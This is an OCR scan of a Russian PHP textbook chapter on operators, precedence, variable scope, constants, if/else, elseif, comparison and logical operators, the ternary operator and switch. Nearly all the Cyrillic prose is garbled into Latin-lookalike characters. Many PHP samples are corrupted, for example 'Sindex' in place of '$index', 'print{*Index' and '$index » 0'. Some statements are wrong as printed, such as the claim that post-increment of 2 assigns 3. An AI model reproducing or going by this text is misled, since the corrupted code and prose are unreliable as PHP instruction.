PHP. CHavana BeINOMHSAETCS YMHOXEHHE yHena 3 Ha cTpoky. Ecim cTpoky Henb-
3s ipeoGpa3oBaTh B YMCNO, TO BMECTO cTpoKM Gyner menonbsosarkes 0. Yucno 3,
ymHOXeHHoe Ha 0, paer B pesynsrare 0, 3arem k Hyiaio npubasnsaercs 2. Pesynb-
tar Oyner paseH 2. A Tenepb K 2 HYXHO NpubaBuUTh MCTHHY (OyneBo 3HaueHue
true). Yto Takoe McTHHA W N0Xb? JIOKD — 5TO HOJIb, @ HCTUHA — 3TO EAMHWUA
win moboe Gonsinee yicno. Uurepnperatop PHP Bocnipumer true Kak eguHuily
1 npubaBuT K YMcay 2 (KoTopoe Mbl MOAYYWIH paHee) yuciao |. O6uiMii pesysib-
tart 3. TTonpo6yiite nMpoBepuTh 3TO HA CBOEM KOMITBIOTEpE.

Takoe asromarnyeckoe npeodpasopaHue No3BosET U3BABUTBCS OT JMIIHKX PO~
6rieM, Ho ychnoXHseT omanky. Bsl ierko Moxere AonycTuts ownbKy ¢ npeobpa-
30BaHMeM, a HaiiTh ee Oyner cioxHo. Bynsre BHMMarensHsl npH pabore ¢ nepe-
MEHHBIMM, 4 OcoBGEeHHO ¢ TeMM, KOTOpbie BhI MOJyYyaeTe OT [ONB30BATENS,
06 3TOM MBI €UIE MOrOBOPHM.

2.4.4. OcHoBHble onepauun

TMepemeHHBIE CO3NAIOTES IS TOTO, YTOOHI HAl HUMMH MPOW3BOAMTH Kakue-Tubo
onepauun. Ha manHsplii MOMEHT TO3HAKOMHMCH TONBKO C MPOCTHIMM MATeMaTH-
YeCKUMH OIepanusimMy; '

O + (cnoxeHue)

O - (BeruMTaHHE)

0O * (yMmHOXeHWe)

0O / (nenenne)

Kak ¥ npuHaTO B MareMaTtuke, €cTb ONMpEAe/]eHHbIE NpaBuia NnocieaoBaTelLHO-
CTH BBIMOJMHEHHS onepaumit (npuopurer). CHayana BLINONHAIOTCH YMHOXEHUE M

' eNmeHHe, a MOTOM YXe CcloXeHHe W BhiuWTaHne. PaceMoTpum Knaccuyeckuit
pUMep:

S$index = 2 + 2 * 25

DTO KIACCHYECKMI mMpUMep, KOTOphill YyacTo 3anaioT mwKonsHUuKaM. He aamymbi-
Basich, Bce orseraT: 8. EciiM BRITIONHSATE STOT KOJ C/IEBA HAIPABO, TO Pe3yasTa-
ToM, neiicTBuTensHo, Gyner 8. Ho 310 TONBKO B rojoBax mKONBHUKOB 3-ro kiac-
ca, KOTopble paHblle roBopAT, 4eMm nymaior. Eciau cyurate Mo mnpasuiaM



Octossl PHP _ 39

maremaruky W PHP, o peaynsrar Gyaser 6, motoMy 4yTo CHavata HYXHO lepe-
MHOXHUTE I1BOHKE (pesynbrar 4), a noroM nipubasuts 2 (06wmit pesynsrar = 6),
Ipu Heo6XOAMMOCTH M3IMEHHUTH NOCAEI0BATENBHOCTD BBINOIHEHNA KOMAHA HYX-
HO MCNOJIB30BaTh CKOGKH, KOTOphie MMeloT Gonbuini npiopurer. B atoM ciyuae
urrepnperarop PHP cHavana BHIMOAHHUT BCE, YTO HAXOAMTCA B CKOOKAX, @ TIOTOM
YXe TO, YTO 34 WX Ipeaenamu;

$index = (2 + 2) * 2;

Bor B aToM ciyuae peaynawstar Gyier paseH 8.

B ckobkax neHCTBYIOT Te JKe Mpasuia, 9To U BHe ckoBok. PaccMoTpum nmpuMep:
$index = (2 +'2 * 2) * 3; : : _
Cravana wnatepnperarop PHP paccunraer sHayeHne B CKoOKax, W pesyiIsTaToM
Gyner 6, MOTOMY HTO AaXKe 30€Ch CHAYana BumoNHsercs ymHoxeHue. [Mocie
3TOro YHesao 6 Gyner yMHOXeHO Ha 3,

B aspike PHP ecth enie cokpalieHHBIE BAPHAHTH! YBEIHYSHUSA WIM YMEHBILICHMS
3HaYeHUs mepeMeHHONW Ha |, KOTopmle MOTYT CHJIBHO YINPOCTHTH KOI W CHENaTh
ero Gonee aneraHTHBIM. Ut npuGapneHus eIWHAIE! HYXKHO HATIUCATE! Sumit+,
a JUTSt BEINHTAHHS — Suma--. Hanpumep:

Sindex = 2;
Ssum = Sindex++;

B nepementHoii $sum okaxercs wucno 3 (uucio 2 H3 nepeMeHHO $index, ync-
JiMyeHHoe Ha 1).

S crapaioch Besne MCMONMbIOBATH TAKOH BAPHAHT YBEMWYCHHA 3HAYEHMit nepe-
MEHHBIX, I BbI CO BPeMEHEM MpHBLIKHETE K Hemy. Yaiie Beero nofobHbie onepa-
MK BCTpEYaloTes B LpKiax (ux Mbl Gyzem paccMaTpHBaTh zza.nee)

Ins ofbeMHEHNS ABYX CTPOK B OJHY MCMONb3yeTCs CHMBOJ TOYKH BMECTO TNIO-
ca, KaK BO MHOTHX fI36IKAX POrpAMMMPOBaHus BeicOKoro yposHs. Hanpumep:
$strl = "S7o Tecromas "; '

$str2 = "erpoxa';

Satr3d = S§strl.str2;

3meck CO3MAIOTCH ABE MMEepeMeHHE Sstrl M $str2, 4 B NMepeMeHHy0 $str3 3aimH-
ChIBAETCH pesynbrar Mx obnemmHeHus, T.e. B He#l Mbl yBuauMm: "BDro TecToBas

crpoka”.

2.4.5. O6nacTtb BUAUMOCTH

Bee nepemennbie # (yHKUMH MMEIOT 061acTh BUANMOCTH, T. €. CYIIECTBYIOT yya-
CTKM KOMIa, e uX 3HaYeHue HocTyrnHo. 3a npepenamu obmacti m«mnuocm ne-
peMeHHbIe aBTOMATHYECKH YHHYTOXAlOTC .
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Bee nepementsie B sizbike PHP gBngiores rnobasbHbIMK, ECIH OHM He obBsBIe-
Hbl BHYTPH KakKoii-HWOyabs QyHkuum. DT0 3HAUMT, YTO €C/M NepeMeHHYy obbsi-
BUTL B caMoM Havane aitna, To oHa ﬁynex CYHIECTBOBATE HA MPOTSKEHHH obpa-
GoTkH Beero (aiina M ee MOXKHO MCTIOAb30BaTh B mobGoM Mecte. B aarnHoM cay4ae
obnacTs BUAMMOCTH — TeKyiumit Gaitr, W nepeMeHHasi YHHYTOXMTCS MPH BbIXOJe
M3 HETO,

Kak mbl paccmarpuBanu paxee B pasdese 2.], Korma usyqann MHOXECTBEHHOE
nepexmoveHne mexay pexumama HTML u PHP, nepemenusie moryt 6bith 065~
asnesl B ogHoM PHP-gone, a MCIONB30BATLCH B APYroM, KaK MOKA3aHO B JIMC-
THHre 2.6.

<HTML:>

<HEAD>

<TITLE> Vision </TITLE>

</HEAD>

<BODY>

<P> Hello

<P> <?php $i =1; print("This is PHP");?>
<P> i = <?php print($i) ?>

</BODY>

<HTML>

B nanHOM nmpuMepe repeMeHHO| NPUCBAMBACTCSI 3HAYSHME MPH NEPBOM BXOX/IE-
Huu B pexkum PHP, a ucnonsayercs nepemeHHast BO BTOpoM. DTo BHOJHE HOp-
MAaIbHas CHTYaLms. Ilepemcum Byner neilcTBUTENbHA W BO BpPeMsi MCITONIb30Ba-
Hus Byner comepxars 3Havenue 1.

Ecau y Bac ects nBa ¢aiitna index.php u download.php, a nepemeHHas $index
obbsnend B daline index.php, To npu nepexone Bo Bropol daitn manxas nepe-
MEeHHas CTaHeT HeBHAUMOM U ee 3Hauenue Oyner HepocrynHo. Ecnu nonbitarhes
obparuTees K nepeMeHHoi $index u3 daiina download.php, 1o ee 3nauenue Gy-
[ET MYCTBIM.

CoxpanuTs 3HaYeHMe NiepeMeHHOI NpH nepexoze oT daitna K dailny MoxHo pas-
JNUYHBIMKM criocobaMu, KoTopsle OYyoyT paccMarpuBaThkes B JanbHeHem:

0 MCNoNB30BaTh METONLI GET M POST JUTS Tepeiayy MApaMeTpoB MEXIY CTpaHMH-
Lamu;

0 Mcnonb3oBarh ceaHesl PHP;

O coxpaHaTh AaHHbIe B (aiinax cookie, KOTOpPbIX xpanﬁ'rcn Ha KOMIIbIOTEpax
110N1630BaATENS
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0 coxpaHsTh 3HAYEHHs B cepBepHOif Gase mAHHBIX WIH JAPYroM XpaHHAMILE HA
cepBepe, HanpuMmep, TekeToBom daiine.

Kakoft crnocob Beibpars? D10 3aBUCHT OT CHTYALMH W JAWIHBIX TIPEAMOYTEHHA.
Ho suiGop BbI CMOXKETE CHEAATH, KOTIA TO3HAKOMUTECH ¢ STHMM TEXHOJOMMSIMH.

DyHKIHM MBI €Il HE pacCMaTpUBAIM, HO HEKOTOpHIE 3aMeqyaHust HeobXOoAMMO
cienars. Bee nepemeHHsie, KoTophie 0GbsABRICHE! B Tele (DYHKIMM, BHIHEI TOILKO
BHYTPH HEE W SIRIAIOTCSA JOKAMBHLIMU. 3a npenenamu yHKUNN 3RAYEHUE Nepe-
MEeHHOI YHHUTOXAeTCH, eCciH OHA He oDBsBIeHA CeNHATBHLIM obpasoM. BuyTpu
GyHKIMH BBl MOXETe YBHISTH €€ JIOKANbHLIE TMepeMeHHbie (HO He JIOKANbHBIE
nepemMeHHbIE APYTUX HYHKUMIH) U r1obanbHble NepeEMeHHbIE.

2.4.6. KoHCTaHTBI

KoneranTsl — 310 0coOble MepeMeHHbIE, KOTOPHIE Hellb3si H3MEHSITh POrpaMM-
HbIM obpasom. UM Heab3s NPHCBOHTL 3HAYEHWE BO Bpemsi paboThl clieHapus.
3HavyeHne YCTAHABAMBAETCS TONLKO NP OGBABICHHM M [ACHCTBYET Ha NMPOTSKE-
HHUM BCETO BPEMEHM MX KH3HH.

KoHeTaHTsl XpaHsT 3HaYeHWs] KakuX-i1ubo YacTo WENoAb3yeMbIX HYMCEN HIIN
crpok. Hanpumep, saw caiT Moxer OsiTh 3anporpaMmuposaH noi, Au3aiiH crpa-
Huusl wupunoit 640 mukcenos. Ecin 8 PHP-xone uenonsiosars uncno 640, to
NpH niepexojie Ha HOBLUI au3aitH ¢ wupuHoi 800 NUKCeNoB NPUACTCS MIMEHSITH
MHOIO CTPOMeK KOjIa, W HET rapaHTHH, YTO Bhl HHYEro HE YIYCTHUTE WAM He 3a-
Tpere cayyaiHo umcno 640, Koropoe ykaseiaeT HE IWMPHHY, & MTO-TO JPYroe.
Ecnu B Havane daiina o6saBuTh KOHCTaHTY, KoTOpas Gyner pasua 640, a norom
HCIO/IB30BaTh €€, TO HOCTATOYHO OVIer MU3MEHHTH TONLKO 3Haqeﬂue KOHCTaHTBI,
1 Koj Oyzer paboraTh KOPPEKTHO. TR

A pexomeraylo BCerfa MpUMEeHNTh KOHCTAHTHI WIHM XOTs Obl fepeMeHHble, eciu
KaKoe-TO YHCJIO WIW CTPOKa Hemojib3yercsi B Koue Gonbie ofHoro pasa. [lns
XpaHeHHsl TAKUX KOHCTAHT WIM TepeMeHHBIX MOXHO CO3MaTh AAKE OTHACIbHBII
(ain, xoropbiit Gyner noaxmouarscs ko scemM PHP-gaitnam sawero caiira. IMo
CBOEMY OMBITY MOTY €KasaTh, YTO MCHOAL30OBAHHE KOHCTAHT MOXET 3aMEeTHO YIT-
POCTHTE CONPOBOXIACHHE BalEH NporpaMMbl H BHECEHHE H3MEHEHUH,

Eciru Bee tekcrossie coobuienus Gyayr XpaHnThes B otTaensHom (aiiie B Buae
MepeMEeHHBIX, TO TAKUM OOPAa3oM Bhl CMOXETE COKOHOMHTbL BPEMS W YIPOCTHTH
NOKATN3AUMIO MPOrpaMMbl Ha JPYIHe S3BIKH. Hanpnmep. omuH aiin  moxer
GbITh NPEAHAIHAYEH /Ul PYCCKOS3BIYHON MPOTPaMMEL, @ ApYrofi — Juls aHrios-
sprqHOM. M3MeHeHHe sI3pIKa MOXHO NPOM3BOIMTH NojMexoil daitia wiu ¢ no-
MOLILIO MOAKITIOYEHUSI OHOTO W3 HHUX, B 3aBHCHMOCTH OT BhiGOpa noib3oBaTeNns.

Tl MMEHOBAHUS KOHCTAHT, B OTIMYUE OT MepeMeHHBIX, He Halo BHauale cra-
BUTH ciMBO/L $. Yro6st cpasy GbU10 BHIHO, UTO 3T0 KOHCTAHTHI, X MMEHA MHILYT
Gonsmumu Gyksamu. B sissike PHP yxe ects MHOXECTBO KOHCTAHT; ob/ierdaio-
HIHX MpOrpaMMUPOBaHKe, U C HUMHA MBI OyZIeM 3HAKOMHUTHCS B MPOLECCE YTeHHA
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KHUTY ¥ TTO Mepe HamobHOCTH, a ceilyac paccMOTPHM, KaK MOXHO co3aarh cob-
CTBEHHYIO KoHcetanty. [as sroro ucnonssyercs (yHKuUns define(), KOTOpoM
HYXHO nepeiaTh B KauecTBe [EPBOro mapaMerpa MM KOHCTAHTHL, @ B KayecTse
BTOporo — ee 3Hauenue. Hanpumep, BaM HYXHO CO3JATH KOHCTAHTY, KOTOpas
Gyzet pasa sHaueHHo Pi. [lns a70r0 HAMUIIKMTE CASAYIOWMI KO

define('PI', 3.14);

$index = 10 * 3,14;

print($index) ;

B manHom npumepe y Hac oGBABICHA HOBAs KOHCTaHTa PI, KoTopas pam-la qpc-
ay 3,14. Bo Bropoii cTpoyke 3HaYeHHe KOHCTaHThl YMHoXaetcs Ha 10 u 3aHOCHT-
cil B MepeMeHHYI0 $index. B mocnieiHeit cTpouke 3HaYeHUE NEpPeMEHHOW BLIBO-
JIUTCH Ha 3KpaH.

Kak mbl yxe sHaem, U3MEHATH SHAYEHUE KOHCTAHTHI HENb3S, MOITOMY CNEmyio-
wmas 3anuch Gyser HeBepHoit u BeI3oBeT coobienne o6 owubke:

define('PI', 3.14);
= 10 * 3,14;

2.5. YnpasneHune
BbINONHEHUEM NPOrpaMmbi

Kon mporpamMmsl He MoXeT OHLITH MPAMOJIMHEHHBIM, MOTOMY 4TO BCERIa €cTh Ka-
KHEe-TO YCJIOBHS, OT KOTOPBIX MOXET 3aBHCETh BhITONHEHWe mporpamusl. Ouyewn
YacTo HaM HALO MPOBEPATH TAKWE YCIOBUS M PearupoBarh COOTBETCTBYIOULHM
obpazom. lomycTiM, YTO BBl MHULIETe CHEHApHIT mIasHO crpanuus! calita. Korna
NoIb30BATe]b 3aXOMUT Ha cailT mepsLill pa3, Bbl MOXETE NOKasarh eMy JAOMOMHHM-
TEAbHYI0 HHGOPMALMIO WM KPACUBYIO IPe3eHTALMIO, YTOObl 3aUHTEPECOBATHL
ero. [Ipu nocreayionieM BXoae 3TY Npe3eHTalHi0 MOXHO oTKIounuTs. Ho Kak aro
Gyner BoirasneTh B Kofe cueHapus? Jloruka Gyner NpUMEpHO Cienyioieii:

O ecnm monk30BaTeNE BOIIEN B MEPBEIA pas, To 11oKasarh npeaenmumo
O wunHaye cpa3y MOKA3AThH MABHYIO CTPAHMUILY.

Jns toro yrobkl cueHapuit 6bU1 HAZeXHBIM M Ge3olacHbIM, HaMm HeobXoaumo
BBITIONHUTE MHOXECTBO nposepoK. Ecam Bawr cleHapHil HO/MKeH OTNpaBIsTh
noyuroBoe cooblienne, To Herioxo 6buto OBl Nepex OTNPaBKOH MPOBEPATHL Mpa-
BUJIBHOCTH 3arosHenus aapeca e-mail. Jloruka nposepku Gyaer cuenyiouteii:

0O ecnun agpec e-mail BEPHLIN, TO OTIPABHTD THCHMO,
0 wuHave BeIATh coobleHue ob ourbke.

Kak BumuTe, JOTMKA CBOAWTCS K MPOCTOMY TECTHPOBAaHHIO: ECH YCIOBHE BEPHO,
TO BBIMOJHUTE ONHO JEHCTBUE, UHAYE BHITONHATL Apyroe aeiicTBue. DTY NOTHKY
MBI YK€ HMCITONB30BATM OIMH pas3, a ceiiyac HaM NpPEACTOMT NO3HAKOMUTRCS ¢ Hel
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no6mmke. Urax, Ha sssike PHP takoe TecTHpoBanye 3aMMCHIBAETCS CEAYIOWMM
oGpa3om: .

if (ycnosue)

Jeitcreme 1;

else

JeitcTene 2;
Ecnu ycnoBue, ykasaHHOe B ¢KOBKAX, BEPHO, TO BLIMOJIHUTCA neficrsue 1, WHaye
Oylner BbIUMOMHEHO neficrene 2, HATIPUMED:
$index = 0;

if ($index > 0)

print("Index > 0");

else

print("Index = 0");

B manHoOM ciyvae MpOMCXOMMT TaKas MPOBEPKA: €C/M MepeMeHHas $index O0Jb-
1Ie HyAd, TO BLIBOAMTCS mepBoe coollieHue, WHAYE BLIBOAUTCH Bropoe coobiie-
HHe, KOTOPOE CTOUT MOCJe KII0YeBOro ClioBa else.
ObGg3are/IbHO 3aNOMHHUTE, YTO GyIeT BBINOMHATLCS TONLKO onHo aeiicrue. Ecam
HY>HO BBINOJIHWTE IBA JAEHCTBUS, TO UX HYXHO ofbeauHUTL B Gnok. Dro nenaercs
¢ nomoInbio hurypHeix ckobok (). Hanpumep, creayiouunii kon Gyaer HesepeH:
Sindex = 07

if (Sindex > 0)

print{*Index > 0");

$index = 0;
else

print("Index = 0");

Ecnn nepemeHHasi $index Gonbile HYASA, Mbl MBITAeMcst BeIBeCTH coobmeHue
M W3MEHUTh 3HAYCHWE MepeMeHHOH Ha HOMb. ITO yXe aABa neHCTBUA, A uom
BhITh BBITIONHEHO TONBKO oaHo. [IpasinbHo Gyner amm::m TaK:
$index = 0;
if ($index > 0)
{
print (*Index > 0");
$index = 0;
}
else
print("Index = 0");
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[Tocne KnoyeBoro €iosa else TAKXKE BHINOIHACTCS TOJLKO OfKH oneparop. Yro-
Obl BLINOJHUTE ABA NEHCTBHA, UX HYXHO O0BEIHHHUTL B GIOK ¢ noMolusio hu-
TYPHBIX CKOBOK:
Sindex = 0;
if (Sindex > Q)

{

print {"Index > 0");

Sindex = 0;

}
else

{

print("Index = 0");

Sindex = 1;

}

Kmiouesoe cioBo else miucars HeobssarensHo U MOXHO 06oiiTich 6e3 Hero, eciu
He HYXHO BBITIOJHATH HUKAKWUX AEHCTBHU NMpH JIOXKHOM pesyabTaTe CpaBHEHMI.
Hanpumep:

$index = 0;

if ($index » 0)

print("Index > 0");

B nauHoMm cryuae Ha sKpaH GyneT BuBeneHo cooblIeHHe, TONBKO eCd NepeMeH-
Ha# Sindex OONIBLIE HYJH.

OGparuTe BHMMaHKWe, KaK s nuiny xox. B nepsoii crpouxe crout nposepka. Heii-
CTBHE, KOTOPOE BBLIMOIHSIETCH, EC/IM YCIIOBUE BEPHO, CTONMT B cleayiolueil cTpouke
C OTCTYTIOM B OnMH Tipobest. [oToM HueT KIoYeBoe cloBO else, KOTOPOE CTABHT-
csl Ha OfiHOM ypoBHe ¢ if. M aeiicreue, KoTOpoe BHINONHAETCA IIPH HEBEPHOM
pesynbTaTe cpaBHEHHMS, TOXKE paclojaraeTcss Ha HOBOH CTpouke ¢ orcrynom. Ta-
KuM 0DpasoM, cpasy BMAHO, HTO KIOYEBOE CJIOBO else OTHOCHTCHS MMEHHO
K Beinectosmemy if, Takoe dopmarupoBatne o4yeHb y100HO, U BBl YBUAUTE €ro
npeuMyllecTBOo B cIyYae HECKOJBKUX Ornepaudii cpaBHEHMs TOAPAL WIH Iaxe
BAOXEHHBIX Apyr B apyra. [TocmoTpuTe Ha creayowmnit npumep:
Sindex = 0;
if ($index > 0)
{
if ($index > 10)
Sindex = 10;
else
Sindex = 0;
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else

{
print("Index = 0");
$index = 1;

1

M3 atoro Koja BUIHO, YTO OMEPATOPhl if U COOTBETCTBYIONINE UM else HAXOAAT-
csl HA OJLHOM YpOBHe, 2 feflcTBUs cMellenk! Bripaso. Takum obpasoM, 1o cmelne-
HHI0 MOXKHO ONPeNeNuTh, KAaKoH Ko K YeMy OTHOCHTCH.

OpHaxasl MHE MPHIIIOCH PEaKTHPOBATE KOl NporpamMmsl, HanucasHoili 8 Delphi.
Ucxonustit rexer sanuman Gonee 3000 erpouek, u 1pH 3roM Bee Gbuio HanucaHo
Ha OIHOM YPOBHE W npaxktuyecku 6e3 npobenos. Pasbuparscs B Takom Koae Gbi-
JI0 HEBEPOSITHO CIOXKHO, MO3TOMY TIPUILIOCH BCE 3TH CTPOKH (hOpMATHPOBATL H
IEJTATh TAKME CMELEHMs, YyToObl OBIIO BIIHO, KaKoi if K uemy oTHocutes. Ilo-
npoOyiiTe caMit MPOYKUTATH CICAYIOWMIE KoL

Sindex = 0;

if ($index > 0)

{ _

if ($index > 10)

$index = 10;

else

Sindex = 0;

}

else

{

print(“Index = 0*);

Sindex = 1; »

) ;

Tsxeno? A Beiip 370 elie M AOCTATOYHO NPOcTOll KOA. A ecau 6ol Guito wryk 10
JIOTHYECKHX ONEPALMit H MPH ITOM HEKOTOphle U3 HUX Gbini Obl BAOKEHHBIMN?
Dr1o Bam He GYN0YKH BOPOBATh.

B sssike PHP ects MuHOXecTBO onepaitnit cpasHeHmst,  utobel Bam jerye 6bi10
¢ HUMHM paszobparses, # cobpan ux BMecte (oM. Tabm. 2.1).

Tabnuya 2.1. Onepayuy cpasHeHus

lNornveckan onepauus Pesynerar

MapameTtp 1 > Mapamerp 2 Bosspaluaet ucTuHy (BeiNONHUTCA nepeoe Aeiictaus),
ecnu nepsblii napameTp Gonblue BToporo

MNapameTp 1 >= MNapametp 2 Boaspauwjaet ucTuHy (BpinonHuTes nepseoe peiicTame),
ecnu nepsbiii napameTp 6o/bLue Unu paseH BTOPOMY
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Tabnuya 2.1 (okoHuaHue)

TNornveckan onepayns

Peaynetar

Mapamerp 1 < Mapamerp 2
Mapamerp 1 <= MNapamerp 2
Mapamerp 1 == MNapamerp 2

Napamerp 1 === [Napamerp 2

Mapamerp 1 I= Mapamerp 2

Bosspaluaet ucTuHy (sbinonHuTcs nepeoe aeiicreue),
eCnV NEPBLIR napamMeTp MeHbLLe BTOPOro

Bosspatiaet ucTuHy (BbinonHUTCA nepeoe aelicTaue),
ecsi Nepeklii NapamMeTp MeHbLIS UKW paBeH BTOPOMY

Boaspaiaet uctuHy (BsinonHuTcs nepaoe pelictaue),
ecnu Nepabiil napameTp paseH BTOpoMy
Boagpauyaer ucTuHy (ssinonHuTes nepeoe feiictaue),

ec/l NepEbiit napamMeTp paseH BTOpoOMY U Mpu 3TOM
ofa UMeloT OMHAKORLIA TUR AaHHLIX

Boaspaiuaet uctuny (BeinonHuTcs nepeoce gelictaue),
ecny NepBsii NnapameTp He paseH BTopoMy

A eclIn HyXHO TIPOBEPUTH JBa yclnoBHs ofHoBpemerHo? B sTom cnyuae ycmosus
MOXHO OOBEAHHSTE C TIOMOLIBIO JIOPHYECKAX ONEparopoB. DTH ONEPaTopsl Bbi

moxere ysunerb B Tabn, 2.2.

Tabnuya 2.2. Oneparopbl 06beaNHEHHA

Nornveckas onepauns

Peaynerar

Yenoeue 1 and Yenosue 2
(Yenosue 1 && Ycnosue 2 )

Yenosue 1 or Yenosue 2
(Yenosue 1 || Yenosue 2 )

Yenosue 1 xor Yenosue 2

IYenoeune

Boaepauwaer uctuny, ecnn oba ycnosus BepHyT
UCTIAHY

BoaBpaluaet UcTUHY, ecrik XoTa 6bl o4HO yenosue
BEPHET UCTUHY

Boaepauyaer uctuHy, ecnu ToNbKoO OfHO ycnosue
BEPHET UCTUHY

WameHseT peaynbTar NpoBepki YCAOBUS Ha NPOTUBO-
TIONOKHEIN, T. @, ecnn peaynbTar NPoBepKM aan

ucTiHy, To cumeon "I" uaMeHRAET ero Ha NoXb
un Haobopor

PaccMoTpuM NpUMEpP MCTIONBL3OBAHUA ABOWHOIO CPABHEHMS:

Sindexl = 0;
Sindex2 = 1;

if ($indexl > index2 apd $index2 == 1)
print ("Indexl Gonewe IndexZ? u Index2 pasen 1");

else

print("Index]l pasex wm MexHswe Index2 wmr Index2 e pasex 1");
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Wnu, Hanpumep, MpoBepKa NepeMeHHON Ha BXOXIEHHE ee 3HAYEHMA B JHANA30H
or 1 gpo 10:

Sindex = 0;
if (%index >= 1 and $index <= 10)
print (*Index Gonmeme 1 u messme 10");

Mb! paccMaTpHBAIH TONBKO CPaBHEHME ILIENbIX YHCEN, HO HHUKTO HE MemaeTr
CpaBHUBATH CTPOKM Wi ApoGHbie uucna. TNonpobyiite cami CpaBHUTH HECKONb-
KO MEpEMEHHBIX PasHBIMH METOJAMH M TIOCMOTPETH, KAKAs M3 CTPOK BHIBOAMTCA
Ha 3KpaH. TOMBKO TAaK BBl CMOXETE YBHJIETh PasHHIY B MCMIONLIOBAHWUM pasnuy-
HBIX OMEpaTopoB cpaBHeHWs. B panbHeifumiem Mbl enle He pas OyaeM HCHONb3O-
BaTh YCHOBHBIE OMEpaTopsl if..else, W €C/IM YTO-TO CEHYAC HEMOHATHO, TO CO
BpeMeHeM BCE BCTAHET HA CBOW MecTa.

Ecte eile ommMH MHTEpecHbit criocob mposepkn yenosus. [onycTumM, 4TO HAmo
CPAaBHUTH ABE NEpeMEHHbIE H spea}mmaanncmmﬁmamym B sroMm ciyqae
Koz Gymer BRIVIANETH caenyommum oGpasom: o

Sresult = Sindexl > $index2 ? indexl : im!m;

Kak paboraer ara sanuce? [TocMoTpum Ha ee oﬁmnﬁ BUIL
Yenoeue ? medicreuel : meficTeuel;

Ecim ycioBHe BepHO, TO BBIMOMHUTCS AeficTBHe |, MHA4Ye BLINOJHUTCH ACHCT-
sue 2. [lonyuaercsi, YTO ecii B HalleM NpHMeEpe nepemMeHHas $indexl Boiblue,
TO pe3ynbTatoM Gyaer 31a mepeMeHHas, WHave $index2, DTO JOCTATOYHO XOPO-
wHi ¥ ynobHsll BapuaHT, HO GONBIIMHCTBO HAYHHAIOUINX MPOrPAMMHCTOB IO
X0 4ATAIOT TAKOU KOoZ,.

A ec/ii HY)KHO CPaBHMThL ONHY TIEPEMEHHYI0 ¢ HECKOILKHMH 3HAYEHUAMH WK
B 3aBHCHMOCTH OT 3TOIO BLINOMAHATL Kakue-nubo neitcreun? Hanpumep, 8 nepe-
MEHHON $day Y BAC XPaHWTCs YMCI0 OT | Jo 7, KOTOpOe yKasbiBaeT HOMEp AHs
HENIeM, HO BAM HYXKHO BBIBECTH HA HKpaH Haspauue AHs. s 3TOro MOXHO Ha-
mMears cRenyoLuit Kon (mueTuHr 2.7).

$day = 2;
if ($day == 1)
print ("Monenensamk") ;
else

if ($day == 2)

print ("Bropumuk") ;
else

if ($day == 3)

print ("Cpena") ;



8 _ . [nasa2

if (Sday == 4) ' 1
print ("Yerpepr"); '
else
if (8day == 5)
print ("MarHxna") ;
else
if (Sday == 6)
print {(*CyGGora™) ;
else
if (Sday == 7)
print ("Bockpecenuse") ;
e
Takoit Kol He OYEHB XOPOIIO YMTAETCS U wmmrpmm a ecu HanmMcars

ero 6e3 orcTynos, To Boobuie pazobparscs Gyner cnoxuo. s pemernust nonob-
HOJ npobjieMbl MOKHO BOCTIO/B3OBATECH KOHCTPYKLUEH if. .elseif, TOraa Kop
Gy/ieT BuIT/IAAETh, KaK B JTHcTHHTE 2.8,

Sday = 2;

if ($day == 1)

print ("MoHenamsuuk") ;
elseif (Sday == 2)

print ("Bropauk") ;
elseif ($day == 3)
print ("Cpena™);
elseif ($day == 4)
print ("Yersepr") ;
elseif (Sday == 5)
print ("MarHrua”™) ;
elseif (Sday == §)
print ("Cyttora") ;
elseif ($day == 7)
print ("Bocrpecense™) i

Dot Kon yxke mompoute. B ofuemM Buie KOHCTPYKUMS if..elseif BBIMISIWT
crenyiolM obpasom:

if (Yenosuel)

leficranel ;
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elseif (Yonoeme2)
print (Jefcrane?) ;

Eciu nepsoe yc/loBHe BEPHO, TO BHITONHHTCA MEPBOE AeicTBUE W TpoBEepKa 3a-
KOHYMTCH, MHAYE TIPOM3OIIAET NpoBepKa Broporo yerosus. Eciu BTOPOE yerioBife
BEPHO, TO GY/IET BHITIONHEHO BTOPOE JeiiCTRHeE.

Ectb eute oaMH BapuaHT 3anucH oneparopa if:

if (ycnosue)

Onepatop 1:

OnepatTop 2i

endif

B naHHOM ciiydae MOXET BRIMIOMHATHECH MHOXECTBO onepatopos Gea obsennse-
HHsE B QUTYPHBIE CROOKM, MOTOMY YTO €CJIM YCIOBHE BEPHO, TO GYAeT BBIMONHEH
BeCh KOJI, TIOKA HE BCTPETHTES KIIOYEBOE CIOBO endif.

B assike PHP ects enle oauH BapHaHT MpoBepKH OJHON mMepeMeHHOH Ha coot-
BETCTBHE OLHOMY M3 HECKOJbKMX 3HaUYeHWI — omneparop switch. B obuwem sune
3TOT ONEpPaTop BIMISIUT TaK:
switch (Mepemensas)
{
case BxHauenue 1t
Oneparopst 1;
break; -
case 3HaueHme 2:
Oneparops 2}
break;
[default: Omeparop]
}

B nanHoM ciyyae nepeMeHHasl CPABHMBAETCS CO 3HAMEHUSIMH, KOTOPLIE yKa3aHbl
nocie KIO4YeBOro cjiopa case. ECIIH 3HavYeHMe nepemMeHHoi pasno |, To Oyayr
BBITIOJIHEHBI BCe Oreparopbl 3Toro GioKa A0 KIIOYEBOro cjioBa break. DT0 BaX-
HOE OTVIMYHE, KOTOPOE BBl JO/DKHBI 3amoMHUTE. Eciu mocne cpaBHEHMsI if BbI-
MONHAETCS TOMBKO OJMH orepaTop (ISl BHIMOJIHEHHS HECKOIIBKUX ONEPATOPOB HX
Hano oOBEAMHUTH QUIYPHBIMM CKOOKAMH), TO B JAAHHOM ClIy4Yae MOXET BBINON-
HATHCS J10B0E KONHYECTBO OMEpaTopos.

Eciu 80 BpeMsl BBIIOMHEHNS NPOBEPOK HH OJHO 3HAYEHWE He MO0, TO Gy-
JIET BBITNOMHEH ONEpaTop, KOTOPHIl CTOUT Moce KIHOYeBoro ciopa default. Dro
C/OBO SIBASETCS Heo0A3aTeNbHbIM, HO MOXET MPUCYTCTBOBATHL JUISE BbITTOJHEHMS
Kakux-nubo neicremit. Hampumep, eciu sHaderie niepemMeHHON He noaom.no HI
‘MO OJIHY W3 MPOBEPOK, TO MOXHO BIBECTH COOBIIEHNs 06 olubKe.
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MagaifTe paccMOTPHM, KAK MOXKHO PEIUTH 3A1a4y © AHAMMK HENEIH, KOTOPYIO Ml
PacCMATPUBANIM paHee, ¢ MOMOLILIO ONeparopa switch (MueTuHr 2.9).

Sday = 4;

switch ($day)

{

case 1:
print ("MoxHenenbimx") ;
print ("llopa paGorars");
break;

case 2:
print ("BropHuk") ;
break;

